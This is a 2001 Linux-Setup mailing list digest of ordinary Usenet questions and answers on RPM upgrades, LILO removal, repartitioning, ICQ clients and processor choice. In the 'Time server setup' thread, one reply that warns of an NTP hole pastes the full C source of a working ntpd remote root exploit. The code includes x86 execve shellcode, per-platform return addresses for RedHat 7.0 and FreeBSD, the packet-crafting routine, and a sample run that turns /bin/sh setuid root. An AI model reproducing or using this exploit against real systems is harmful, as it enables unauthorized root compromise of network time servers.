Linux-Setup Digest #995, Volume #20 Thu, 5 Apr 01 19:13:07 EDT
Contents:
Re: Upgrading packages with RPM (KCmaniac)
some general questions... ("Mike")
Re: LFS (Linux From Scratch) (Ulrich Eckhardt)
cdrom does not mount. ("Kenny@BUI")
Re: ICQ in Linux ("Garfield")
LILO Question (x)
LILO Question (Foad Shodjai)
Re: KDE no more after XFree upgrade (Craig Kelley)
Re: ICQ in Linux ("TheMartian")
Time server setup (Kerry Cox)
Re: ICQ in Linux (raf)
Re: LILO Question (Ian Northeast)
Re: how to dis-partition? ("ekkis")
Red Hat v7 ("Jorge")
Linux on Intel Or Celeron? what is the best choice? (Med HAM)
Re: LILO vs. loadlin ("Taavi Hein")
Re: Linux on Pentuim Or Celeron? what is the best choice? (Med HAM)
Re: Upgrading packages with RPM ("ne...")
Deleted ALSA device file -- how to recover? (Glenn Hutchings)
CDRW Drive (Stuart)
Re: how to dis-partition? (Floyd Davidson)
Re: Primary partition... on every HDD? (Darin Johnson)
Re: Time server setup ("f00")
Re: Linux on Pentuim Or Celeron? what is the best choice? ("yalu")
Re: Linux on Pentuim Or Celeron? what is the best choice? (Koen Verbeke)
----------------------------------------------------------------------------
From: KCmaniac <[EMAIL PROTECTED]>
Subject: Re: Upgrading packages with RPM
Date: Thu, 05 Apr 2001 16:30:23 -0400
Warren Thompson wrote:
>
> But Red Hat and the mirrors have removed 3.0.5-9 when 4.x was released.
> So how can someone find 3.0.5-9 to install?
>
> I've been looking for 3.0.5-9 since I installed a new RH 6.2 machine a
> couple of weeks ago. My old RH 6.1 had been upgraded to 3.0.5-9 using an
> ftp upgrade, so I don't have the 3.0.5-9 rpm that I can use on my RH 6.2
> machine.
>
I think I can help you here. Go to the www.rpm.org site. On their first page
you will see a link "4.0". Go there and download all the "6x" stuff.
Supposedly it should install using whatever RPM that was included with RH6.2.
Hope this works for you.
------------------------------
From: "Mike" <[EMAIL PROTECTED]>
Subject: some general questions...
Date: Thu, 5 Apr 2001 22:51:53 +0200
Greetings,
i require 2 modules to get my network card to run. How does the entry for
eth0 at /etc/modules.conf have to look like? ( yes, i would like to alias
both modules to eth0, is this possible?, or do i have to configure it an
other way? (its a "third party" driver)
An other little problem is, how can i change the keyboard configuration at
the shell? (from german to english for example)
and by the way, where can i configure the color of the console font?
(console outside XFree86)
I hope somebody can help me and
thx in advance,
Mike
------------------------------
From: Ulrich Eckhardt <[EMAIL PROTECTED]>
Subject: Re: LFS (Linux From Scratch)
Crossposted-To: linux.redhat.install,linux.redhat.misc
Date: Thu, 5 Apr 2001 23:05:30 +0200
" wrote:
> I am thinking of making my own linux system, is it worth the trouble. I
> checked out the documents from http://www.linuxfromscratch.com/
>
I daresay that it's just an adventure but if you don't know the difference,
you shouldn't try it.
Try Debian GNU/Linux, it doesn't have a mickey-mouse interface but is
rock-solid. For the packages where it's worth compiling with optimizations
for your processor, you can still get the source-packages that are of equal
quality.
Ulrich Eckhardt
------------------------------
From: "Kenny@BUI" <[EMAIL PROTECTED]>
Crossposted-To: comp.os.linux.misc
Subject: cdrom does not mount.
Date: Thu, 5 Apr 2001 17:08:58 -0400
hello,
in our /etc/fstab we have the following line.
/dev/cdrom /mnt/cdrom iso9660 ro,noauto 0 0.
when we type mount /dev/cdrom /mnt we get the error
the kernel does not recognize dev/cdrom as a block device maybe 'insmod
driver'?
we tried changing the fstab to /dev/hdc but it will not work.
however on boot it appears that hda is the cdrom. this used to work all
along.
why today it doesn't makes no sense.
thank you.
kenny.
------------------------------
From: "Garfield" <[EMAIL PROTECTED]>
Subject: Re: ICQ in Linux
Date: Thu, 5 Apr 2001 23:20:31 -0700
I have downloaded the ICQ2000b, but the setup file can not run under
L�nux(redhat).
And can you use MICQ with the others who use ICQ?
"Chiefy" <[EMAIL PROTECTED]> wrote in message
news:[EMAIL PROTECTED]...
> 06 Apr 2001 04:07 UTC, Garfield typed:
> > I am a new user of Linux, now I want to
> > install ICQ ,but I could not find the right
> > way to do it ,could somebody tell me how
> > to do it?
>
> We use MICQ which is a basic console client. There's others.
>
> RedHat and Debian package the programme (the other distros probably do
> too), so it's simply a matter of locating said package and installing.
> If a suitable package is not available for your system, the source is
> available, which only takes a few moments to compile.
>
> What problems are you encountering?.
>
> --
> Chiefy. <[EMAIL PROTECTED]>
>
------------------------------
From: x <[EMAIL PROTECTED]>
Subject: LILO Question
Date: Thu, 05 Apr 2001 16:16:34 -0500
Reply-To: [EMAIL PROTECTED]
I have installed Linux (Mandrake) on my laptop on a partition.
My laptop had Windows NT Server before. After installing Linux, now at
boot time I receive a LILO message and have a choice of boot. I boot
Linux, or NT (default). No problems, untill I decided to removed Linux
from the partition, and on the next startup of the laptop, LILO haulted
and I could not do anything. I realized that BPR is looking for the
LILO on the partition I just erased, so I installed Linux again, and the
laptop boots now with the Linux and NT option.
My question is how can I remove linux, and clean my BPR (boot primary
record) so that it does not look for LILO, and simply boots my NT?
Thanks for your help,
Foad Shodjai
------------------------------
From: Foad Shodjai <[EMAIL PROTECTED]>
Subject: LILO Question
Date: Thu, 05 Apr 2001 16:17:46 -0500
I have installed Linux (Mandrake) on my laptop on a partition.
My laptop had Windows NT Server before. After installing Linux, now at
boot time I receive a LILO message and have a choice of boot. I boot
Linux, or NT (default). No problems, untill I decided to removed Linux
from the partition, and on the next startup of the laptop, LILO haulted
and I could not do anything. I realized that BPR is looking for the
LILO on the partition I just erased, so I installed Linux again, and the
laptop boots now with the Linux and NT option.
My question is how can I remove linux, and clean my BPR (boot primary
record) so that it does not look for LILO, and simply boots my NT?
Thanks for your help,
Foad Shodjai
------------------------------
From: Craig Kelley <[EMAIL PROTECTED]>
Subject: Re: KDE no more after XFree upgrade
Date: 05 Apr 2001 15:20:17 -0600
Kumara Wickramarachchi <[EMAIL PROTECTED]> writes:
> <!doctype html public "-//w3c//dtd html 4.0 transitional//en">
> <html>
> Hi,
> <p>I had my Linux box working well with XFree4.0.2. Then I upgraded it
> to
> <br>XFree4.0.3 and now KDE which was working doesn't start at all.
> <br>But X server starts when I do ./startx and then white background and
> couple
> <br>of console windows opened appears but no KDE.
> <p>Please help me to configure my KDE
> <br>
> <p>Kum
> <br>
> <br> </html>
>
cd ~
cat > .xinitrc
exec startkde
[Control-D]
startx
--
It won't be long before the CPU is a card in a slot on your ATX videoboard
Craig Kelley -- [EMAIL PROTECTED]
http://www.isu.edu/~kellcrai finger [EMAIL PROTECTED] for PGP block
------------------------------
From: "TheMartian" <[EMAIL PROTECTED]>
Subject: Re: ICQ in Linux
Date: Thu, 05 Apr 2001 21:22:19 GMT
I use licq, works well.
www.licq.org
David
Sydney, Australia.
In article <9aiflr$db7$[EMAIL PROTECTED]>, "Garfield"
<[EMAIL PROTECTED]> wrote:
> Hi!
> I am a new user of Linux, now I want to install ICQ ,but I could not
> find the right way to do it ,could somebody tell me how to do it?
>
> Thanks!
>
>
>
>
------------------------------
From: Kerry Cox <[EMAIL PROTECTED]>
Crossposted-To: comp.os.linux.hardware
Subject: Time server setup
Date: Thu, 05 Apr 2001 15:33:55 -0600
I'm looking to create a ntpd or ntpdate time server running Red hat
Linux for in-house use. I'm wondering what hardware module I need to
purchase to run under Linux that could then connect to a GPS satellite
and retrieve the exact time.
Yes, I know there are lots of time servers out there we can connect to
and update our clocks by, but we want to be self-sufficient and set out
own time. We are also a TV and radio station and so keeping accurate
time is important. We have a lot of Linux machines that need their time
updated periodically.
Thanks. Please send me an email directly if you have any
recommendations.
Kerry
--
/-----------------------------\ /--------------------------\
| Kerry J. Cox |__| [EMAIL PROTECTED] |
| System Administrator KSL __ (801) 575-7771 |
| http://www.ksl.com/ | | ICQ#37681165 |
\-----------------------------/ \--------------------------/
---
>> Misch dich nicht in die Angelegenheiten von Zauberern, denn sie sind spitzfindig
>und schnell erzuernt. <<
------------------------------
From: [EMAIL PROTECTED] (raf)
Subject: Re: ICQ in Linux
Date: Thu, 05 Apr 2001 21:34:33 GMT
On Thu, 5 Apr 2001 23:20:31 -0700, Garfield wrote:
> I have downloaded the ICQ2000b, but the setup file can not run under
> L�nux(redhat).
>
Err, If you are trying to run the ICQ version for Windows, I won't work.
There are CLI versions that Linux runs but I think you might be better off
with clients like GnomeICU, that uses GUI.
> And can you use MICQ with the others who use ICQ?
>
>
Yes.
------------------------------
From: Ian Northeast <[EMAIL PROTECTED]>
Subject: Re: LILO Question
Date: Thu, 05 Apr 2001 22:35:06 +0100
Foad Shodjai wrote:
>
> I have installed Linux (Mandrake) on my laptop on a partition.
>
> My laptop had Windows NT Server before. After installing Linux, now at
> boot time I receive a LILO message and have a choice of boot. I boot
> Linux, or NT (default). No problems, untill I decided to removed Linux
> from the partition, and on the next startup of the laptop, LILO haulted
> and I could not do anything. I realized that BPR is looking for the
> LILO on the partition I just erased, so I installed Linux again, and the
>
> laptop boots now with the Linux and NT option.
>
> My question is how can I remove linux, and clean my BPR (boot primary
> record) so that it does not look for LILO, and simply boots my NT?
You could try checking the archives before asking. Fdisk /mbr (Windows
fdisk, from a boot floppy if necessary).
Ian
------------------------------
From: "ekkis" <[EMAIL PROTECTED]>
Crossposted-To: comp.os.linux.misc
Subject: Re: how to dis-partition?
Date: Thu, 5 Apr 2001 14:39:13 -0700
"Bob Tennent" <[EMAIL PROTECTED]> wrote in message
news:[EMAIL PROTECTED]...
> On Thu, 5 Apr 2001 02:52:28 -0700, ekkis wrote:
>
> You may not have enough "slack" to do this. But parted will allow you to
"edit"
> partitions somewhat. Use it off a boot disk.
I got parted installed and I've read the docs but I'm having difficulty
figuring out a plan. here's my issue:
/dev/hda8 256667 83514 159901 35% /
/dev/hda5 9005272 3280128 5267696 39% /usr
if I want to make hda5 go away I need to create a "usr" dir on / (hda8)...
but to do this I probably need to unmount /usr (hda5)... and if I do that,
won't I be screwing myself? and once I unmount it and create my new /usr dir
on hda8, how do I remount hda5 so I can copy all the data out of it?
1k thx - e
p.s. incidentally, I get this message when I run parted:
Using /dev/hda
Warning: The operating system thinks the geometry on /dev/hda is
2501/255/63.
Therefore, cylinder 1024 ends at 8032.499M. You should check that this
matches
the BIOS geometry before using this program.
...but in the BIOS I have this HDD set up as Auto - I haven't specified a
particular geometry. can anyone tell me whether this is a problem and why I
get the message?
------------------------------
From: "Jorge" <[EMAIL PROTECTED]>
Subject: Red Hat v7
Date: Thu, 05 Apr 2001 21:46:19 GMT
I have a Signature scanner using TWAIN driver. Any idea if I can install on
Linux?.
Thanks,
Jorge
------------------------------
From: [EMAIL PROTECTED] (Med HAM)
Crossposted-To: be.comp.os.linux
Subject: Linux on Intel Or Celeron? what is the best choice?
Date: Thu, 05 Apr 2001 21:47:37 GMT
Reply-To: [EMAIL PROTECTED]
Hi folks,
My Company are willing to buy some machines to install Linux on
them. My question is which machine is best for Linux to run on :
Intel or Celeron? And if possible , can you tell me why? (ie: the
adventages and drawbacks of each type of processor )
As always any help could be so appreciated.
Med HAM -- [EMAIL PROTECTED]
------------------------------
From: "Taavi Hein" <[EMAIL PROTECTED]>
Crossposted-To: comp.os.linux.misc
Subject: Re: LILO vs. loadlin
Date: Thu, 5 Apr 2001 02:02:17 +0300
: : Why not use LILO as your boot manager?
:
: Maybe becuse he couldn't get it to work? I use Loadlin as my standard
Linux
: booter too. LILO is problematical becuse of hard drive geometry and many
: computers have flaky BIOSes.
I _do_ use LILO, but not quite there. Let's say, I have 2 HD's (actually I
have more, but just to simplify things):
/dev/hda -> /dev/hda1 : W98SE
/dev/hdc -> /dev/hdc1 : RH7
That's the normal state of my computer. It boots from /dev/hda and thus has
to use loadlin to choose between [WL]in. Now the /dev/hda is not just a HD,
it's located in a nifty little drawer, I can simply pull out of the machine
(so I can go visit my parents' house and just plug it in, or go to their
workplaces and also plug it in, or...), in that case the configuration of
drives changes to:
/dev/hda -> /dev/hda1 : RH7
Now the computer also boots from /dev/hda, but uses LILO. I have concidered
putting LILO on the MBR of my Windows drive, but figured, it wouldn't be
worth it (that was actually part of my original question, IIRC), so I
sticked with loadlin.
PS In self-made startup menu, how do I change the title or function key
choices and how can I display additional information? Do I simply echo it
onto the screen? What commands can I use in config.sys? Is there a general
reference document or something? I'll post my config.sys file here as well:
;[menu]
;menuitem=Linux, Start RedHat Linux 7.0?
;menuitem=Win98, Start Microsoft Windows 98SE?
;menucolor=15,1
;menudefault=Linux,15
;
;[linux]
;shell=c:\loadlin\loadlin.exe c:\loadlin\vmlinuz2 mem=128M root=/dev/hdc1 ro
;
;[win98]
--
Taavi Hein - [EMAIL PROTECTED]
Registered Linux user #209546
Registered Linux machine #97395
------------------------------
From: [EMAIL PROTECTED] (Med HAM)
Crossposted-To: be.comp.os.linux
Subject: Re: Linux on Pentuim Or Celeron? what is the best choice?
Date: Thu, 05 Apr 2001 22:10:43 GMT
Reply-To: [EMAIL PROTECTED]
On Thu, 05 Apr 2001 21:47:37 GMT, [EMAIL PROTECTED] (Med HAM) wrote:
>Hi folks,
>My Company are willing to buy some machines to install Linux on
>them. My question is which machine is best for Linux to run on :
>Intel or Celeron?
Ooops! I want to say *pentuim* instead of Intel
Sorry folks ......
> And if possible , can you tell me why? (ie: the
>adventages and drawbacks of each type of processor )
>As always any help could be so appreciated.
>Med HAM -- [EMAIL PROTECTED]
------------------------------
From: "ne..." <[EMAIL PROTECTED]>
Subject: Re: Upgrading packages with RPM
Date: Thu, 05 Apr 2001 22:12:43 GMT
On Apr 5, 2001 at 13:38, Warren Thompson eloquently wrote:
>"ne..." wrote:
[...]
>> Fourth option: upgrade rpm to version 3.0.5-9. This handles
>> version 4.x rpms.
>
>But Red Hat and the mirrors have removed 3.0.5-9 when 4.x was released.
>So how can someone find 3.0.5-9 to install?
>
>I've been looking for 3.0.5-9 since I installed a new RH 6.2 machine a
>couple of weeks ago. My old RH 6.1 had been upgraded to 3.0.5-9 using an
>ftp upgrade, so I don't have the 3.0.5-9 rpm that I can use on my RH 6.2
>machine.
Secret: http://rpmfind.net/linux/RPM
Please don't let it out ;-)
--
Registered Linux User # 125653 (http://counter.li.org)
Do not think by infection, catching an opinion like a cold.
6:06pm up 19 days, 18:05, 8 users, load average: 0.00, 0.00, 0.00
------------------------------
From: Glenn Hutchings <[EMAIL PROTECTED]>
Subject: Deleted ALSA device file -- how to recover?
Date: Thu, 05 Apr 2001 22:10:27 GMT
Hi there.
I've accidentally deleted a special device file used by ALSA (don't ask --
blundering around trying to get Quake sound to work). The file was
/proc/asound/dev/pcmC0D0c, I think. Problem is, I don't have enough of a
mental handle on how device files work, etc. How do I recreate the file (and
get my sound working again)? I've tried: (a) rebooting, (b) reinstalling ALSA
drivers, (c) fiddling around with mknod(1). No luck. Any ideas?
Thanks in advance,
Glenn
(Oh well. My fault for not R'ing TFM properly beforehand ;-)
------------------------------
From: Stuart <[EMAIL PROTECTED]>
Subject: CDRW Drive
Date: Thu, 5 Apr 2001 17:41:33 -0400
I have redhat 7 with kernel 2.4.3 w/ scsi emul. has a module
how do i make it emul. hdd has scd0
------------------------------
From: Floyd Davidson <[EMAIL PROTECTED]>
Crossposted-To: comp.os.linux.misc
Subject: Re: how to dis-partition?
Date: 05 Apr 2001 14:27:17 -0800
"ekkis" <[EMAIL PROTECTED]> wrote:
>"Bob Tennent" <[EMAIL PROTECTED]> wrote in message
>news:[EMAIL PROTECTED]...
>> On Thu, 5 Apr 2001 02:52:28 -0700, ekkis wrote:
>>
>> You may not have enough "slack" to do this. But parted will allow you to
>"edit"
>> partitions somewhat. Use it off a boot disk.
>
>I got parted installed and I've read the docs but I'm having difficulty
>figuring out a plan. here's my issue:
>
>/dev/hda8 256667 83514 159901 35% /
>/dev/hda5 9005272 3280128 5267696 39% /usr
>
>if I want to make hda5 go away I need to create a "usr" dir on / (hda8)...
Become root, and go to single user mode first, with "init s". Then
do:
mkdir /u1
cp -a /usr /u1
mv /usr /u2
mv /u1/usr /usr
umount /dev/hda5
rmdir /u2
mount -t ext2 /dev/hda5 /u1
You can now return to multiuser mode, with "init 5" or whatever
is appropriate for your particular Linux distribution. Before
deleting files on /dev/hda5 (now mounted on /u1), make sure that
things are working OK with the new /usr directory. Once you are
satisfied that all is well you can rm the files, just reformat
the filesystem, or whatever.
--
Floyd L. Davidson <http://www.ptialaska.net/~floyd>
Ukpeagvik (Barrow, Alaska) [EMAIL PROTECTED]
------------------------------
Subject: Re: Primary partition... on every HDD?
From: Darin Johnson <[EMAIL PROTECTED]>
Date: Thu, 05 Apr 2001 22:30:15 GMT
Steve Martin <[EMAIL PROTECTED]> writes:
> Not so whacky... assigning the letter "C" to the hard drive
> is a thowback to when IBM PCs came with one or two floppy
> disks.
I was referring to old UNIX (BSD variants anyway) scheme of partition
C being the whole disk, where partitions A, B, D, etc, were contained
within partition C. Kind of wierd, and it wasn't enforced, it was
just "convention".
------------------------------
From: "f00" <[EMAIL PROTECTED]>
Crossposted-To: comp.os.linux.hardware
Subject: Re: Time server setup
Date: Thu, 05 Apr 2001 18:43:48 -0400
In article <[EMAIL PROTECTED]>, "Kerry Cox" <[EMAIL PROTECTED]>
wrote:
> a ntpd or ntpdate time server running Red hat Linux for in-house use.
> I'm wondering what hardware module I need to purchase to run under Linux
> that could then connect to a GPS satellite and retrieve the exact time.
Be careful with ntp. There is a newly discovered hole in it that may be
rootable:
/* ntpd remote root exploit / babcia padlina ltd. <[EMAIL PROTECTED]> */
/*
* Network Time Protocol Daemon (ntpd) shipped with many systems is vulnerable
* to remote buffer overflow attack. It occurs when building response for
* a query with large readvar argument. In almost all cases, ntpd is running
* with superuser privileges, allowing to gain REMOTE ROOT ACCESS to timeserver.
*
* Althought it's a normal buffer overflow, exploiting it is much harder.
* Destination buffer is accidentally damaged, when attack is performed, so
* shellcode can't be larger than approx. 70 bytes. This proof of concept code
* uses small execve() shellcode to run /tmp/sh binary. Full remote attack
* is possible.
*
* NTP is stateless UDP based protocol, so all malicious queries can be
* spoofed.
*
* Example of use on generic RedHat 7.0 box:
*
* [venglin@cipsko venglin]$ cat dupa.c
* main() { setreuid(0,0); system("chmod 4755 /bin/sh"); }
* [venglin@cipsko venglin]$ cc -o /tmp/sh dupa.c
* [venglin@cipsko venglin]$ cc -o ntpdx ntpdx.c
* [venglin@cipsko venglin]$ ./ntpdx -t2 localhost
* ntpdx v1.0 by [EMAIL PROTECTED]
*
* Selected platform: RedHat Linux 7.0 with ntpd 4.0.99k-RPM (/tmp/sh)
*
* RET: 0xbffff777 / Align: 240 / Sh-align: 160 / sending query
* [1] <- evil query (pkt = 512 | shell = 45)
* [2] <- null query (pkt = 12)
* Done.
* /tmp/sh was spawned.
* [venglin@cipsko venglin]$ ls -al /bin/bash
* -rwsr-xr-x 1 root root 512540 Aug 22 2000 /bin/bash
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <stdarg.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <unistd.h>
#include <arpa/inet.h>
#define NOP 0x90
#define ADDRS 8
#define PKTSIZ 512
static char usage[] = "usage: ntpdx [-o offset] <-t type> <hostname>";
/* generic execve() shellcodes */
char lin_execve[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/tmp/sh";
char bsd_execve[] =
"\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56\x07\x89\x56\x0f"
"\x89\x56\x14\x88\x56\x19\x31\xc0\xb0\x3b\x8d\x4e\x0b\x89\xca\x52"
"\x51\x53\x50\xeb\x18\xe8\xd8\xff\xff\xff/tmp/sh\x01\x01\x01\x01"
"\x02\x02\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04";
struct platforms
{
char *os;
char *version;
char *code;
long ret;
int align;
int shalign;
int port;
};
/* Platforms. Notice, that on FreeBSD shellcode must be placed in packet
* *after* RET address. This values will vary from platform to platform.
*/
struct platforms targ[] =
{
{ "FreeBSD 4.2-STABLE", "4.0.99k (/tmp/sh)", bsd_execve,
0xbfbff8bc, 200, 220, 0 },
{ "FreeBSD 4.2-STABLE", "4.0.99k (/tmp/sh)", bsd_execve,
0xbfbff540, 200, 220, 0 },
{ "RedHat Linux 7.0", "4.0.99k-RPM (/tmp/sh)", lin_execve,
0xbffff777, 240, 160, 0 },
{ NULL, NULL, NULL, 0x0, 0, 0, 0 }
};
long getip(name)
char *name;
{
struct hostent *hp;
long ip;
extern int h_errno;
if ((ip = inet_addr(name)) < 0)
{
if (!(hp = gethostbyname(name)))
{
fprintf(stderr, "gethostbyname(): %s\n",
strerror(h_errno));
exit(1);
}
memcpy(&ip, (hp->h_addr), 4);
}
return ip;
}
int doquery(host, ret, shellcode, align, shalign)
char *host, *shellcode;
long ret;
int align, shalign;
{
/* tcpdump-based reverse engineering :)) */
char q2[] = { 0x16, 0x02, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x01, 0x36, 0x73, 0x74, 0x72, 0x61,
0x74, 0x75, 0x6d, 0x3d };
char q3[] = { 0x16, 0x02, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00 };
char buf[PKTSIZ], *p;
long *ap;
int i;
int sockfd;
struct sockaddr_in sa;
bzero(&sa, sizeof(sa));
sa.sin_family = AF_INET;
sa.sin_port = htons(123);
sa.sin_addr.s_addr = getip(host);
if((sockfd = socket(AF_INET, SOCK_DGRAM, 0)) < 0)
{
perror("socket");
return -1;
}
if((connect(sockfd, (struct sockaddr *)&sa, sizeof(sa))) < 0)
{
perror("connect");
close(sockfd);
return -1;
}
memset(buf, NOP, PKTSIZ);
memcpy(buf, q2, sizeof(q2));
p = buf + align;
ap = (unsigned long *)p;
for(i=0;i<ADDRS/4;i++)
*ap++ = ret;
p = (char *)ap;
memcpy(buf+shalign, shellcode, strlen(shellcode));
if((write(sockfd, buf, PKTSIZ)) < 0)
{
perror("write");
close(sockfd);
return -1;
}
fprintf(stderr, "[1] <- evil query (pkt = %d | shell = %d)\n", PKTSIZ,
strlen(shellcode));
fflush(stderr);
if ((write(sockfd, q3, sizeof(q3))) < 0)
{
perror("write");
close(sockfd);
return -1;
}
fprintf(stderr, "[2] <- null query (pkt = %d)\n", sizeof(q3));
fflush(stderr);
close(sockfd);
return 0;
}
int main(argc, argv)
int argc;
char **argv;
{
extern int optind, opterr;
extern char *optarg;
int ch, type, ofs, i;
long ret;
opterr = ofs = 0;
type = -1;
while ((ch = getopt(argc, argv, "t:o:")) != -1)
switch((char)ch)
{
case 't':
type = atoi(optarg);
break;
case 'o':
ofs = atoi(optarg);
break;
case '?':
default:
puts(usage);
exit(0);
}
argc -= optind;
argv += optind;
fprintf(stderr, "ntpdx v1.0 by [EMAIL PROTECTED]\n\n");
if (type < 0)
{
fprintf(stderr, "Please select platform:\n");
for (i=0;targ[i].os;i++)
{
fprintf(stderr, "\t-t %d : %s %s (%p)\n", i,
targ[i].os, targ[i].version, (void *)targ[i].ret);
}
exit(0);
}
fprintf(stderr, "Selected platform: %s with ntpd %s\n\n",
targ[type].os, targ[type].version);
ret = targ[type].ret;
ret += ofs;
if (argc != 1)
{
puts(usage);
exit(0);
}
fprintf(stderr, "RET: %p / Align: %d / Sh-align: %d / sending query\n",
(void *)ret, targ[type].align, targ[type].shalign);
if (doquery(*argv, ret, targ[type].code, targ[type].align,
targ[type].shalign) < 0)
{
fprintf(stderr, "Failed.\n");
exit(1);
}
fprintf(stderr, "Done.\n");
if (!targ[type].port)
{
fprintf(stderr, "/tmp/sh was spawned.\n");
exit(0);
}
exit(0);
}
------------------------------
From: "yalu" <[EMAIL PROTECTED]>
Crossposted-To: be.comp.os.linux
Subject: Re: Linux on Pentuim Or Celeron? what is the best choice?
Date: Fri, 06 Apr 2001 00:44:21 +0200
What company and what are they going to do with it? In fact a celerom is
just a cut-down version of the pentium...
My personal advice: an Athlon ;-)
--
It's about making the world a better place - Richard Stallman
------------------------------
Crossposted-To: be.comp.os.linux
From: Koen Verbeke <[EMAIL PROTECTED]>
Subject: Re: Linux on Pentuim Or Celeron? what is the best choice?
Date: Thu, 05 Apr 2001 23:02:18 GMT
On Thu, 5 Apr 2001 at 10:10pm, Med HAM wrote concerning Re: Linux on...:
> >Hi folks,
> >My Company are willing to buy some machines to install Linux on
> >them. My question is which machine is best for Linux to run on :
> >Intel or Celeron?
> Ooops! I want to say *pentuim* instead of Intel
> Sorry folks ......
LOL ;-). Anyway, the choice of processor depends on what the
machine(s) is/are intended for. Generally, for serving purposes, I would
recommend pentium. If the machines will be workstations rather than
servers, celerons will do just fine.
But...
A celeron is a crippled processor: a pentium with a very small cache. If
money is an issue, go for AMD's Duron instead! It delivers quite well and
you can put an Athlon in it later on if you like (the processor sockets
are the same). Duron will be even cheaper than celeron. And it runs just
fine on Linux.
However, having said all that, remember that the choice of processor is of
far less importance compared to memory!! Put lots of memory in either
machines and you will give performance a boost. I mean it!! And don't let
anyone tell you otherwise!
Gr{oetje,eeting}s,
- Koen
------------------------------------
Koen Verbeke Debian - FBSD
About the Unix Community:
Try us! We grow on you. Like fungus.
http://www.middle-earth.be/
------------------------------------
------------------------------
** FOR YOUR REFERENCE **
The service address, to which questions about the list itself and requests
to be added to or deleted from it should be directed, is:
Internet: [EMAIL PROTECTED]
You can send mail to the entire list by posting to comp.os.linux.setup.
Linux may be obtained via one of these FTP sites:
ftp.funet.fi pub/Linux
tsx-11.mit.edu pub/linux
sunsite.unc.edu pub/Linux
End of Linux-Setup Digest
******************************